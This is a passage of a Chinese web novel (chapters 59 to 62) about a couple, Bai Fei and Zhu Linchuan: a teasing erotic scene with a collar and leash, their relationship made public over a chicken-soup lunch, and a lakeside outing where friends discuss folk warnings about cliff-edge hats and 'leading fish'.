周端有些不好意思地笑笑:“我是不婚主义,但是却很想要个孩子。所以和福利院约了时间上门去看看,想领养一个孩子。”
白绯很惊讶:“你父母也同意?”
周端点点头,解释道:“前几年我独自出国就是因为这个事情和他们闹翻。大家吵过闹过打过,这么多年过去,他们最终也妥协了。”
白绯立马想起了叶小兰的孩子,便索性和周端提了提。没想到周端一听,竟然也十分心动。当即就提出想和孩子见见面,看看彼此是否合眼缘。
白绯便干脆给了周端周芸的联系方式,让他们直接约时间。
周端家境不错,也不准备再要自己的孩子,人品也忠厚,家庭氛围也好,倒是个不错的选择。但肯定还是要白家父母再把把关才能放心,最重要的是,也要看宝宝喜不喜欢他。
白绯送别了周端,站在小院门口看向对面叙白的院子。
今天他的车子没有在停在这,想来是有事出去了。自从上次画展一别,白绯有阵子没见过他了。倒是平常经常收到对方发来的短信,但白绯也从来没回复过。
如今再看,倒也觉得对方有些可怜。
要不要回复呢?白绯的手指停留在短信编辑页面上,犹豫了片刻,最终还是退出了信箱。
优柔寡断只会给对方错觉,拯救叙白的可以是任何人,但不会是她白绯。
她的感情已经给了一个人了。
仿佛有心电感应般,肩膀上搭上了一只温暖的大手,烫得白绯一激灵。
59. 狼耳发箍
“在看什么?”
白绯僵硬侧头,果然是祝临川。
他正阴恻恻地盯着叙白的别墅,看样子像是企图用目光荡平眼前的一切。
X战警啊你?
白绯眼珠狡黠一转,果断软下了身体,侧身勾住了祝临川的脖子挂在了他身上,矫揉造作地干嚎:“啊,头好痛,是不是昨天在江边吹了风...”
她一边装娇弱,一边把脸埋在祝临川的胸口揩油。
嗯,软硬合适,又有弹性,不大不小正好。不像周端,白绯怀疑他的罩杯都要比她这个真女人大了。
其实明眼人都能看出她是演的,可惜祝临川却关心则乱。他瞬间也顾不上吃醋了,脸上都是内疚:“疼得厉害?都怪我,昨天不该让你在江边等那么久。”
他一把打横抱起白绯就要往车里放,看样子是准备送她去医院。
白绯心头一凛,瞬间想起了那个除了你好外一个字都不能信的急诊科大夫。这可不能去,露馅不说,少不得还要挨顿骂。
她赶紧腾出一手扒住了车顶,拖长了腔调示弱:“等等!其实也没那么严重啦,你给我揉揉就能好了~”
祝临川这下也回过味来。他垂眸仔细打量了下白绯,脸色红润眼眸明亮,哪有半分不适的模样。
白绯看他盯着自己若有所思的模样,赶紧伸出另一只手捂住自己的额头开始叫唤。
“哎哟,头真的好疼啊。要是有哪个英俊帅气的小伙子能把我抱到床上,然后再来个马杀鸡就好了。”
说完还偷偷睁开一只眼睛试探祝临川的反应,另一只手依然牢牢撑在车门上以防真的被送进医院。
祝临川差点被气笑。
“好啊。”他也不戳穿,只是意味深长地笑笑,竟真的顺势进了小楼。
祝临川把白绯抱到房间床上,又扶着她的脑袋搁在自己大腿上,双手指肚开始按揉太阳穴。
若说一开始,白绯还有装的成分,后来则是真的被按爽了。她感觉此刻的自己就像平时在小院墙上晒太阳的三花,浑身都软成了一滩水。
“唔,好舒服。”她闭着眼睛享受身后的服务,舒服得轻叹一口气,“临川,你不会连按摩都学过吧?”
“嗯。”祝临川低低应了声,指腹打着圈以一种恰到好处的力道按揉。片刻后,又换成了用掌心包裹住额角侧边摁压,舒适感便如同涨潮的海水般顺着按压点弥漫开来。
就在白绯即将被睡意俘获的时候,却突然听到耳边传来恶魔低语:“还有更舒服的...要试试吗?”
“嗯。”白绯的回答根本就没有过脑,直到她脱口而出答应后,浑沌的神经才后知后觉出不对劲。
温热的掌心离开,白绯迷糊地睁开眼,然而房间里已经没有了祝临川的身影。
“干嘛去了?”白绯有些不满地嘀咕道:“不是说要给我试试更舒服的吗?难道去拿精油了?”
她索性从床上起来,拿着水杯站在窗边喝水。
也不知道周端有没有和周芸联系,说来还都是周家姓的,也算缘分呢。
她正兀自沉思,突然只听身后“咔哒”一声轻响。
“你跑哪儿去...”
话没能说完,白绯原地愣成了目瞪口呆的表情包,手里的杯子都没端稳,水洒了满手,滴答滴答又淌了一地。
房间里很静,静得她能听到自己“咕咚”咽口水的声音,还有异常清晰的金属搭扣咬合声。
白绯猛地扭头拉上了窗帘,动作之大差点把自己的脖子都扭断。
“你你你你...”她揪着窗帘挡在自己身前,只觉得此刻的自己弱小无助又可怜。
“大白天的,你怎么穿成这样!”
“你不是就喜欢这样的吗?”祝临川慢条斯理地扣上喉结上的项圈,修长有力的手指沿着性感的唇一路向上,最终停在了浓密的黑发间。
白绯的视线不由自主地跟随着他手的动作,在发现隐藏在黑发间的狼耳发箍后,彻底不淡定了。
早上是谁搁那儿装良家妇男,谴责外面的男人都是烧货呢?现在这个半裸男难道是被什么了不得的东西夺舍了吗?
“你不怕被人发现,到时社死离开地球去火星都来不及!”白绯很想对诱惑说不,可该死地却发现自己根本移不开眼睛。
祝临川反手合上了房门,打开了立在门边的落地灯。
昏暗的房间里,暖色的灯光像流淌的蜂蜜,给蜜色的胸肌腹肌渡上了了一层诱人的色泽。也不知是不是巧合,祝临川竟还特意换了条裤子,是和早上方瑜的视频里同款的灰色运动裤,此刻就松松地卡在胯部,要掉不掉。
祝临川向前走了一步,紧绷的腰部线条便在暖光下泛起野性的,让人心跳骤停的光泽。
“今天楼里只有我们俩和小施安夏,她俩在院后头折纸活,还要盯着炖鸡的火候,没有三个小时不会过来。”
一根犹带着体温的黑色皮质牵引绳被塞进了白绯僵硬的手里。
白绯呆呆地顺着绳索向上看去,发现另一端分明就连在祝临川喉间的项圈之上。
时间仿佛凝固了,白绯张大了嘴,唯一的反应就是攥紧了手里的绳索。粗糙的皮革纹理因为用力而摩擦着她细嫩的掌心,带来一种直达□□深处的痒。
祝临川在她的注视下屈膝,跪在了身前。他微微歪了歪头,黑发间狼犬发箍的尖耳朵也跟着微微一颤。而那双浅灰色的眸子里则翻涌着毫不掩饰的炽烈的情绪,此刻就这么自下而上看着掌握着他全部的人。
“所以,我们会有很多时间,可以让你对我...为所欲为。”祝临川倾身,炙热的唇带着一种极致的诱惑,轻轻印在白绯的指尖。他唇角勾起一个危险的弧度,嗓音沙哑,吐出了最后两个字,“主人。”
血液上涌,理智崩塌。
白绯猛地拽紧了手中的绳索,低下头去。
祝临川温顺地仰头,仿佛当真予取予求。
随着绳索的缩短,二人的唇差之毫厘。然而就在即将触碰的前一秒,方才还主动得像个狼妖似的男人却突然偏过头去,让白绯的吻落在了那毛绒绒的狼耳之上。
白绯:?
她又低下头去,去寻这个磨人的小妖精的嘴唇,然而这次却又落在了脸颊上。
搞什么啊?箭在弦上,这小妖精怎么光撩不灭火啊!
“呵...”
耳边传来一声轻笑。显然,这厮是故意的。
果然,祝临川仰头轻轻啄吻了下白绯绯红的耳垂,眼里仿佛洒落着细碎的星光,带着笑意一字一顿问道:“早上你说的话,我没有听懂,可以再说一次给我听吗?”
好啊!原来在这儿等着呢!
“你!你怎么这么烦人!”白绯恼羞成怒,丢下牵引绳就想走,却被祝临川挡住了去路。
他张开嘴,用牙齿叼住牵引绳的末端,将它绑在了白绯的手腕上。动作间,湿热的舌尖若有似无地舔舐着敏感的手腕内侧,带来让灵魂都震颤的酥麻。
“不要走,不要丢下我。”祝临川仿佛又变成了早上那只可怜巴巴的委屈小狗,将脸颊靠在白绯绑着绳索的左手手心上,眼神湿漉漉的:“小狗只是想要一个身份,主人,可以给我吗?”
白绯的心又软下来。算了,怎么这么没有安全感。
她叹了口气,双手捧住祝临川的脸颊,用力一挤,把人活活挤出了一张鸭子嘴。
“你想我说多少遍都可以。我喜欢的从来都只有你一个,往后余生都是你。现在,满意了吗?”
祝临川的眼睛不可思议地瞪大,哪还有方才那副游刃
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有余的祸水模样。
白绯被他这副模样逗笑,伸手刮了刮他的鼻子,毫不客气地吐槽道:“看把你能的,还学会色诱了。我要是不上当,真走了出去找外头那些烧男,看你哭不哭鼻子。”
“不许,不许找别人。”祝临川猛地站起来,把白绯严丝合缝搂进了怀里,“我真的好高兴,我也爱你,绯绯,我用我的全部...”
祝临川没能说完。
白绯向后拉紧了手上的牵引绳,迫使祝临川微微后仰着头,分开了二人的距离。
“爱,与其说,不如做。”她勾起一个坏笑,手上用力,让祝临川因为项圈的拉扯而窒息。
此刻的白绯还不知道,她会有多后悔说出这句话,因为祝临川确实做得太够了。
三小时后,小施敲响了白绯的房门:“绯绯姐,你在吗?可以吃午饭啦!”
门后传来一阵乒呤乓啷的响动,紧跟着是白绯气息不稳的回答:“好,这就来。”
小施疑惑地挠了挠下巴,催促道:“那你快来哈,凉了鸡汤就腥了。对了,你看见临川了吗?他房间门开着,人不知道去哪儿了。”
还能去哪儿,这不是正在床上赖着呢嘛!
“我给他打电话吧,你们先去吃。”
“唉,好。”
小施的脚步声逐渐远去,白绯艰难地把自己从床上的八爪鱼怀里撕了下来,躲进了浴室。
“你快去洗洗,一会儿小施该怀疑了。”白绯隔着门催促道。
镜子里,自己身上几乎全是梅花印记。因为那句话,祝临川当真差点把她做死在床上。
“累吗?我给你洗吧?”玻璃门上出现一个影子,“怎么还锁门?”
白绯可不敢放他进来,哭笑不得道:“快去洗吧你!”
十五分钟后,二人终于来到了后院。小施和安夏已经等得望眼欲穿。
“哇,好香啊!”呼呼吹着风的电扇将鸡汤的香气吹到了白绯的脸前,让操劳了一上午的身体终于感到了饥饿。
鸡是用柴火炖的,在大铁锅里炖了三个小时,早已软烂入味。里头还飘着不少枸杞和药材,因此香味里还带着药材的清香,不会让人觉得太腻。
祝临川盛了一碗汤,又细心地撇了油,递给白绯:“小心烫。”
白绯喝了一口,只觉得胃里都舒坦了。
锅边上还放着一个大冰桶,里边冰镇着一大壶酸梅汤。鸡肉配着调制的蘸料,再来一口冰镇的酸梅汤,当真是享受。
小施边吃边赞叹:“临川,你真的太厉害了。这鸡真的好吃,还有这酸梅汤,我还是头一回喝用药材炖出来的真酸梅汤呢!”
陈安夏也吃了好几碗,抚着隆起的小肚子瘫在座位上:“是啊,外头店里的都是用酸梅汤粉泡出来的。不行,我得解开裤子扣子,肚子要撑炸了。”
祝临川很谦虚:“是你们火候看得好,这鸡也不错,确实是散养的土鸡。”
吃过现杀的农家土鸡后就会发现,和超市里的冰冻鸡口感可谓是天差地别。
白绯也撑得不行,因为祝临川一直在边上殷勤地伺候,在他盛第三碗鸡汤的时候,白绯终于掌不住了。
“我不行了,真不能再喝了,又不是坐月子。你听听,肚子里都是水了。”
祝临川笑笑,又夹了一块腿肉:“那你再吃点肉。”
陈安夏在边上看着,感慨道:“临川对绯绯姐真好啊!”
小施在边上笑,也给她夹了块鸡脖:“别羡慕,哥也给你夹。”
陈安夏回了块鸡屁股:“哥,你也吃。”
祝临川笑着看他俩闹,正要俯身给白绯再夹块肉,就听见边上人波澜不惊道:“哦,因为我俩在一起了嘛!”
他猛地扭头,手里的筷子噼啪一声断成了两截。
60. 悬崖帽和引路鱼
“害羞啊?”白绯恶霸似的笑笑,伸出两根手指掐住祝临川的下巴,把人拉过来在嘴巴上戳了个章,“我可不喜欢金屋藏娇,早点习惯哈。”
小施嘴里的鸡屁股应声落下,正好被虎视眈眈的小黑一口叼走。大鹏好奇地凑过去啄了一口,大概是觉着不好吃,扑腾着小翅膀去祸害角落里先前拔下来的鸡毛。
傲娇的三花轻蔑地看了眼张着嘴仿佛凝固般的男人和那愚蠢的两小只,纵身跳进了陈安夏的怀里,十斤重的吨位终于将她出窍的神智拉了回来。
“原来如此啊!”陈安夏看了眼祝临川胸口的金坠子,后知后觉地回忆起了从前的种种,“我这两只卡姿兰大眼睛可是真瞎啊~”
祝临川眼底的笑意漾开,在场之人都是头一回见到他笑得如此心满意足。
小施既为这个身世可怜的小弟弟感到高兴,又替自己这个母单心酸,千言万语在嘴里轮了一圈,最后又咽了回去,端起酸梅汤:“话都在汤里。”
说完一饮而尽,夹起肉恶狠狠吃起来。
白绯笑眯眯地看着众人,不着痕迹地移了移凳子,让自己的肩膀靠上了祝临川的手臂。祝临川身形不动,换了双筷子剔腿肉,另一只手却覆上了白绯搁在扶手上的手背。
白绯轻轻一动,反手与他十指紧扣。
她眯起眼睛看外面灿烂的天光,心想,罢了,人生左不过短短几十年,不管那许多,且和喜欢的人过好当下吧。
等饭后,祝临川又想粘着白绯进屋,被她毫不留情地赶了出去。
别以为她不知道这人心里打的什么小九九,她可不想休息得好好的又擦枪走火,今日份已经超量了,现在的她已经心如止水。
白绯躺在床上后想了想,又掏出手机,给周芸打了个电话过去。她先问了问周端的事,没想到这小子动作很快,竟然已经去过白家了。
周芸显然对他印象不错:“不过我们一致同意,孩子先在我们这儿照顾一阵子,他也过来帮忙,让我们根据他的表现考核考核再做最后的决定。”
白绯听了也放下心来,打了个哈欠又问道:“对了妈,周端还送了土鸡和土鸡蛋来,明儿我给你们拿点过去?”
周芸笑道:“不用了,周端说他过几天就从老家再拿些过来,你们那的就自己吃了吧,不用来回折腾。”
白绯嗯了声,继续道:“对了,还有件事要和你说,你也知会爸一声。我和临川在一起了。”
“噼啪...”
门外突然传来乒呤乓啷的动静,白绯吃了一惊,拿着手机起床去查看。而电话那头的周芸一开始还没反应过来,片刻后才发出一声尖锐的爆鸣:“什么?!囡囡,你的意思不会是...”
“还能有什么意思啊,就是我俩现在是男女朋友了呗。”白绯边回话边拉开门,目瞪口呆地发现竟然又是祝临川。
地上是碗碟碎片,还有摔烂的西瓜。
白绯可惜地咂咂嘴,捂着听筒轻声问道:“受伤没?”
祝临川的眼睛亮亮的,摇了摇头,没有说话,只直勾勾地盯着她。
那头周芸的反应倒是出乎白绯的意料:“临川这小子行。长得周正,性子忠厚,又比你年轻那么多,你可得多照顾着人家点,不要耍小姐脾气啊!”
白绯哭笑不得:“妈,我才是你亲女儿吧,怎么胳膊肘往外拐呢?”
祝临川将周芸的回复听得一清二楚,心中感动不已。
“其实爸妈原本想撮合你和叙医生来着,不过听你爸说对他不来电,这才作罢。没想到你倒是和临川看对眼了,这孩子是潜力股,以后出了社会肯定很抢手。我和你说,现在优质的男孩子都是英年早婚不会在婚恋市场上流通的,你这先机抓得不错。”
旁观的祝临川心情复杂。
“那你俩好好相处,要是最后能走进婚姻殿堂,让你爸妈早日抱上大胖外孙就更好了。行了,不多说了,我去照顾宝宝了,挂了哈。”
电话挂断,白绯脸色有点红。人在尴尬的时候总想找点事做,她蹲下身想去收拾碎掉的碗碟,却被祝临川拦住了。
“我来。”
白绯垂眸看着他捡起碎片,嘴里开始没话找话:“你别想太多哈,我们现在还没到谈婚论嫁的时候呢。”
祝临川垂着头,看不清表情。白绯看着他那么大只蹲在地上的背影,不知为什么又觉得心软,挠着脸侧找补道:“你现在还在考察期知道吗,看你表现,表现好的话也不是不能...”
“我会努力的。”祝临川站起身,嘴角勾起的弧度里像是淌着蜜,让白绯也不自觉跟着傻笑起来。
气氛暧昧,白绯直觉再待下去又得滚床上去,红着脸果断关上门匿了。
过了明路后,祝临川就彻底放飞自我了,恨不得把白绯含在嘴里,黏黏糊糊的劲儿让她差点受不了。只要一逮到机会,这家伙就会找机会和她身体接触,不是摸个小手,就是亲个小脸,稀罕得不得了。
平时更是十八般武艺全开,变着花样做美食投喂,绝不让她操一点心。白绯在上称后发现自己胖了五斤后终于下定决心,不能再这样下去了。
在祝临川试图给她洗内裤的时候,白绯在小楼宣布了一个消息。
“明天去团建?”小施疑惑地重复。
“是。”白绯义正言辞拒绝了祝临川递来的第三盘甜点,神情严肃地点了点头。临川这两天休息,在厨房里捣鼓了一上午,做出的甜点摆满了一米八的大长桌。
“好啊好啊!这还是我们第一次集体活动呢!”陈安夏吃着蹭来的甜点开心附和道。由于她的社恐,她从来没有过参加集体活动的经历,因此很是期待。
“就去小耙子山。”白绯努力无视一旁祝临川失落的神情,在心里疯狂劝说自己,他只是在装可怜,这次绝对不能再心软,不然真胖成球了!也不能再在家里呆下去了,不然最后又会被拐到床上去,她要去外面呼吸新鲜空气!
第二天一早,四人就开车出发了。小施对小靶子山熟,就由他开车。陈安夏坐在副驾,白绯和祝临川坐在后排。
小耙子山就在A市郊区,离小楼只有大概一小时的车程。这座山海拔不高,因为山头有一片起伏错落的小山包,形似农具耙子而得名。周末的时候,会有不少A市市民携家带口来这里游玩,山头还有一座小庙,也有不少人供奉。
不过白绯他们这次的目的地是在半山腰,那里有一片清澈的湖泊,在夏季也是玩水圣地。
她们把车停在了山脚下的停车场后就沿着石阶开始向半山腰进发。由于是工作日,今天倒是没什么游客。
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林子里静悄悄的,只有鸟叫与虫鸣,阳光透过茂密的树叶洒落下来,被隔绝了大部分的热气,再被山风一吹,只让人觉得心旷神怡。
“这里空气真好啊。”陈安夏站在台阶上深吸了一口气,手搭凉棚向下瞭望,“风景也不错,就是蚊子多了点。”
她弯腰拍死了小腿上的一只蚊子,在手心里留下满满一包血,哭丧着脸道:“早知道不该图凉快穿裙子了。”
祝临川从包里掏出一瓶花露水递过去,陈安夏没想到他还带着这个,感动得都快哭了。
“呜呜呜,谢谢你临川,真是救我狗命了,你看我这腿,一二三四五,妈呀,足足二十个蚊子包!可恶,它们什么时候咬的?”
祝临川笑笑,又从包里掏出另外一瓶给白绯:“你也喷点吧。”
还是宝宝用的,区别对待真的很明显。
白绯擦了擦额头的汗,接过来边喷边问:“你包怎么这么大,都装了些什么?”
祝临川又从里边掏出小电扇给她扇风,回道:“昨晚半夜做的卤味,还带了些瓜果点心,都是你爱吃的,一会儿露营的时候可以吃。”
白绯:...可恶,这叫我怎么忍心拒绝?
“啊!我的帽子!”
正说着话呢,一阵山风吹过,竟是将陈安夏头顶的遮阳帽吹走了。好在倒是没吹多远,就掉在石阶外的落叶上,只差一点点就要掉下山了。
“哇,还好没掉下去,这可是我最喜欢的帽子了。”陈安夏放下书包就准备离开石阶去捡,却被白绯一把拉住了胳膊。
“等等!”她拦住了疑惑不解的陈安夏,凝眸看了眼帽子落下的方位,转头严肃道:“这帽子可不能这么捡。悬崖帽,引路鱼,河边鞋,听过没?”
“什么鬼?”陈安夏显然不知道:“怎么听着还怪神神叨叨的。”
说话间祝临川已经在边上折了一根树枝,他站在台阶上,伸长了手用木棍把帽子挑了回来。
他把帽子还给陈安夏,在她疑惑不解的目光中道:“你仔细看。”
说完就在众人的注视下用木棍捅了几下方才帽子落下的位置。
随着扑簌的轻响,叶子被捣了下去,露出了其下的空地。原来方才帽子下根本就是空的!
陈安夏当即吓出了一身冷汗,抓着小施的胳膊几乎站立不稳。要是刚才白绯没有拦住她,她现在已经坠崖了!
白绯欣赏地看了眼祝临川,不愧是我的男人,这默契。
小施也被吓到了:“怎么会这样?!”
“悬崖帽,引路鱼,河边鞋。老祖宗传下来的话,这三者都是小鬼在勾人性命,所以万万不能去捡。不过嘛,抛开这些灵异神怪不谈,倒也是可以用科学的原理来解释的。”
白绯指指陈安夏怀里的帽子:“悬崖帽,你们见着了。其实就是因为崖边经常会有落叶,给人带来下面是实地的错觉,若是去捡就很容易踩空坠崖。而引路鱼呢,就是有时候,我们会在岸边看见一些鱼一动不动待在那儿,一般大家看见的第一反应都会去捞吧?但等你走近之后,这鱼又会突然往水里边游一点,然后又待着不动了,勾着你再往深处走走,就这么一步步,最后掉进河里。”
陈安夏鸡皮疙瘩都起来了,搓着胳膊后怕不已:“难道这鱼真是水鬼变的?”
61. 美式中式和俄式
白绯神秘地笑了笑,突然起了点恶趣味,对着祝临川挤眉弄眼的作怪:“来,我考考你,你知道是为什么吗?”
出现了!普信男经典话术之“我考考你”!
祝临川宠溺地笑笑,情人眼里出西施,只觉得她怎么都可爱,曲起食指刮了刮她的鼻子:“淘气。”
陈安夏、小施:...够了你俩。
好在祝临川没再继续撒狗粮,及时开口解释起了缘由,总算挽救了在场两位无神论者岌岌可危的三观。
“其实原因很简单。大鱼靠边游出水面,要么是因为高温等原因造成水中含氧量低,所以它们浮出水面吸氧,要么就是因为鱼本身病了失漂,所以才呆在浅水区。”
“没错。”白绯点了点头,啪啪拍着祝临川的后背补充道:“这时候很多人都以为鱼死了,但它其实还没有那么死。有人去捞它,它察觉到危险,可不就本能地往深水区游嘛。而很多水域,岸边几十厘米的地方水深可能只到你脚脖,但下一步就是断崖般的深度,可谓一脚人间,下一脚西天。更何况水底还有淤泥青苔,一个脚底打滑,可能就蹿下去了。”
小施听得啧啧称奇,回忆起了从前的事:“你这么一说,我还真想起来了。小时候早上去上学,路过河岸边,就看到石阶上的浅水里躺着条快一米长的大青鱼。当时差点就下去捞了,幸好急着去赶校车才放弃了。”
大夏天的,想起原来幼时就差点与死亡擦肩而过,小施打了个迟来多年的哆嗦,有些后怕地抚着胸口道:“原来爱学习真的能改变人生啊!”
陈安夏听得很认真,总结道:“我明白了!总之遇到这样的引路鱼,绝不能贪心下去捞就对了!”
“这倒也不是。”没想到白绯却给出了否定的答案,继续抛出了新名词:“你听说过美式抄网吗?”
“这又是啥?”显然陈安夏并不是两次钓起遗体的钓鱼佬,对这个词十分陌生。
“艾美莉卡人民在遇到搞不定的大鱼时会选择直接掏枪击毙,再把鱼捞上岸,这个思路在对付引路鱼时其实也适用。我们虽然没有真理,但可以就地取材,捡点石头啊棍棒啊,直接把引路鱼砸晕或者砸死,让它知道人心的险恶。”
小施嘴角抽搐着吐槽:“这引路鱼是非吃不可吗?”
陈安夏显然没想到还有这般另辟蹊径的解决办法,突然就觉得传说中索命小鬼化身的引路鱼也没那么可怕了。她想了想,又问道:“既然有美式,那还有其他什么中式法式意大利式之类的吗?”
白绯笑道:“还真有。钓鱼界除了美式抄网外,还有中式和俄式。中式抄网又被叫作新能源钓法,也就是电鱼。你们小时候肯定见过对吧?左零又火,雷公助我。”
她做了个插鱼的姿势,感慨道:“很多人说,美式抄网加上中式新能源钓竿,等于老子的海。不过这比较危险,一不小心容易把自己也搭进去。”
例如穿书前白绯曾接待过的某位客户。这位客户当时独自一人穿着涉水裤下鱼塘电鱼。涉水裤是一种形似背带牛仔裤的防水裤,腰部系有腰带,一般只在浅水区使用。当时这位客户没有注意水位,不慎踏入深水区,在腰部以上进了水。然而就是这点水,让他当场失去了平衡,倒栽葱般插在了水塘中挣脱不得。
这是因为穿了涉水裤后,腿部是有空气的,而当上半身进水后,腰带上方的重量变大,就会导致穿戴者头重脚轻,再也站不起来。更何况当时他还拿着电鱼设备,溺水和触电双重debuff叠满,直接一命归西了。
那如果他当时没有在电鱼,是否有机会生还呢?也很难。这是因为当穿戴者倒栽在水中时,水的压力又会使裤子紧紧贴在腿上,在水中把涉水裤脱下来重新找回平衡的可能性可谓十分之低了。
“至于俄式抄网嘛,又叫俄式硬薅。这个能把熊当作宠物养的民族,遇到不肯上岸的大鱼,通常会选择大喊一声乌拉,然后直接肉身下水硬薅。”
在场诸人都被逗笑了,陈安夏笑着笑着突然又吸了口口水,满目垂涎道:“实在太可爱了,更爱我的斯拉夫尤物了。”
差点忘了,这个现实中社恐得都要看心理医生的小姑娘其实还是个大色迷。
不过这么一通胡闹,倒是冲淡了之前沉重的气氛。四人一边继续往半山腰进发,一边继续交谈。
“绯绯姐,那河边鞋又有什么说法呢?”
“这个有两个解释。第一个和引路鱼差不多,去河边捡鞋,也是容易发生溺水事故,有句话不是说得好,君子不立危墙之下嘛!”
“那另一个呢?”小施擦了把汗,追问道。
“另一个嘛,算是民俗禁忌,大家听听就行了。有句俗语叫做宁可试人棺,莫穿他人鞋。风水上认为,鞋子衣服这类的贴身物件,代表的是一个人的运势,若是穿了他人的鞋子,那么就有可能沾染物品原主人的晦气。而河边鞋,你们想想,是不是极有可能是发生事故的人遗落的?而棺材嘛,其实反而没那么不吉利。以前的老人都会提前给自己备好棺材,有压寿的意头,而且不是还有句俗语,见棺发财,大吉大利嘛!”
祝临川自嘲地笑了笑:“我幼时可没少穿别人送的旧鞋,若是真能替那些好心人挡灾,倒也算报恩了。”
“呸呸呸,说什么胡话呢。”这话白绯可听不下去。她踮起脚怜爱地摸了摸祝临川的头顶,“大家都是有福之人。更何况,勤俭节约可是我们中华民族的传统美德!”
祝临川被顺毛摸得眯起眼睛,温顺地偏过头,把侧脸靠在白绯掌心蹭了蹭。
白绯表面无波无澜,心里却在疯狂咆哮:太可爱了呜呜呜呜,好像在摸三花一样。
小施和陈安夏也连连点头称是。
“不过为什么会有见棺发财这个说法啊?”陈安夏疑惑地问道,不管怎么想,棺材都和发财不搭边啊。
“这个我知道。”小施解释道,“以前在我们农村,办丧事时会在棺材底下压硬币,等出殡后再由晚辈捡起来,又叫作捡福钱,认为这能带来好运。”
“没错。”白绯牵着祝临川的手,手指在他掌心轻轻挠了挠,激得人反手牢牢扣住了她的五指,二人十指交握,嘴上补充道:“除了这个解释外,棺还音同官,当官的官,所以这话其实也算寄托了人们对升官发财的愿望,毕竟在古代,当官可是改变命运的重要途径。”
“那我也补充一点吧。”祝临川显然心情很好,开口道:“据传,古代盗墓贼在找到主墓室开棺前,就会说这句话。一来也算是心理安慰和祷告,希望能顺利获得财宝,二来,也是因为最值钱的宝贝一般都放在棺材里,见到棺材,确实也意味着离发财不远了。”
几人便这么一边说着话一边向上爬,得亏也没遇上其他人,不然
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听到这么别具一格的聊天话题,只怕也要侧目。
又爬了大概半小时,四人终于抵达了目的地。山风带着湿润的水汽扑面而来,体感温度比城市里要低上好几度。让人意外的是,湖边竟然已经搭起了不少天幕,三三两两散落在各处,应当是同样为了清净错峰出行的游客。
众人择了一处空旷平坦的地方搭好桌椅。陈安夏已经迫不及待脱掉了鞋袜,踏进浅水,然后被凉得抖了抖。
白绯把露营椅子往水边挪了挪,也把脚泡进了清澈的水中,满足地叹息了一声:“啊,好凉快。”
她调皮地不断翘着白皙圆润的脚趾,低头看着水中游来指甲盖大小的小鱼,好奇地啄吻她的脚。
祝临川终于把他鼓鼓囊囊的背包里的东西都摆了出来,最后竟摆满了一整个桌子。如他所说,有不少卤味和果切坚果,还有三明治。
他又掏出一个保温壶,倒了一杯递给白绯:“大麦茶,冰镇过了。”
清冽的茶水带着淡淡的烘焙香,白绯啜饮了一口,舒服地靠在了椅背上,只觉得这趟真的来的值了。
一生要出片的中国女人陈安夏已经在到处寻找最佳拍摄地点,小施不放心,跟在后面打转,之后就被指派了帮忙拍照的活计。
“天呐,小施哥,你怎么给我拍成了二头身!还抓拍了这么丑的表情?我告诉你,你这样以后会被女朋友骂死的!”
小施的回答很直男:“啊?可是你就长照片里那样啊?”
陈安夏:“...施!云!旗!你有种再说一遍!”
白绯笑着看那头打闹,身边的祝临川却突然开口了。
他正垂眸给松子剥壳,侧脸的线条沉默又迷人:“小时候总是很忙,忙着打工,因为打工才有钱活下去才能念书;也忙着念书,因为念书才有机会出人头地。但是越到临近毕业的那一天,我心里却越迷茫。一个人上班、下班,然后回到空荡荡的家,这就是我奋斗多年想要的生活吗?有时候会觉得好累,很想不如就这样结束一切,一了百了。”
白绯的眼神柔软下来。如果在场的人还有谁明白祝临川的孤独,那一定是同样身为孤儿的她。
“但是现在不会了。都说人在幸福的时候会患得患失,我现在才明白这句话的意思。我希望未来的每一天都可以过像现在这样的日子,一直到我们白发苍苍。你愿意吗?”
祝临川把碟子里堆得高高的松子仁递给她。白绯看到那双浅灰色的瞳仁里装的满满的都是自己。
“我可不愿意。”白绯接过碟子,在祝临川脸色大变之前狡黠地眨了眨眼睛:“未来的每一天都会比今天更美好。”
祝临川失笑:“你啊!”
这时,陈安夏抱着手机气咻咻地走了回来:“小施哥太没用了,拍了一百多张照片没一张能用的!幸好遇上了好心人,拍的又好看,发出去还被方瑜点赞了呢!”
她从包里翻出两盒进口巧克力,拿出一盒塞进了委屈巴巴跟在后头回来的小施怀里,气鼓鼓道:“小施哥,你帮我把这盒巧克力送给人家,我就不生你气了!”
白绯顺着她手指的方向,果然看到不远处有一对带着孩子的年轻夫妇,正坐在岸边钓鱼。
“哎~”
小施屁颠颠地去了,倒是祝临川一听到某个名字就立刻应激,追问道:“安夏,方瑜给你点赞了?”
62. 谁说男人不懂绿茶
“是啊是啊!”因为被喜欢的博主翻牌,陈安夏肉眼可见的雀跃。“没想到他竟然能注意到我这么个平平无奇的小粉丝,真的太有心了。我宣布,从今天起我就是方瑜的妈妈粉了!”
“啧。”祝临川不动声色地上眼药:“无事献殷勤,非奸即盗。”
果然,就在四人正聊天的时候,山路上又影影绰绰来了一人。
当时的白绯正侃侃而谈:“当年那老大爷,大夏天的,在那竹子摇椅上躺了整一周才被发现,我把他扶起来后,撕拉一下,哎哟,整个后背都被扯下来,就黏在那席子上,一格又一格的!就跟咱们在烧烤网上烤的肉似的…”
陈安夏入行后也慢慢习惯了这种下饭场面,面不改色地边嚼梅子边问:“那后来你们怎么处理的啊?”
“还能咋处理啊,蹲在那儿一点点扣下来呗,毕竟都是属于遗体的一部分,能完整还是得尽量完整。就连卡进缝隙里的那些肉渣,我们都拿镊子给一点点夹下来了。”
小施吃着酥脆的炸小鱼,这是方才他送巧克力时那对年轻小夫妻的回礼。他有点疑惑地问道:“我怎么不记得还接过这样的客户?”
白绯心里咯噔一下,糟了,这是她穿书前接待的,记混了!
“哈哈哈可能你忘了吧。小施,年纪轻轻的,记性怎么就这么差了。”白绯索性倒打一耙,直接给小施泼了一大盆脏水,打着哈哈转移了话题。“唉,工作日来就是清净,我看app上说周末这边就和下饺子似的,连下脚的地方都没有。”
“越来越喜欢咱们这行了嘿嘿。”陈安夏狠狠咬了一口炸小鱼,称赞道:“唉,这鱼真不错,现钓现炸,吃得就是一个新鲜。唉?那头是不是来了个帅哥?”
“这么远我连男女都分不清楚,你还能看出来是个帅哥?”小施眯着眼向远处的山路看去,表示怀疑。
“你可别小瞧我们女人的雷达,就凭那气质,我就能判断出来,这是个狼系帅哥。”
随着那人慢慢走近,众人终于看清楚,那张嚣张的脸和精悍的倒三角身材,可不就是才刚讨论过的方瑜本人嘛!
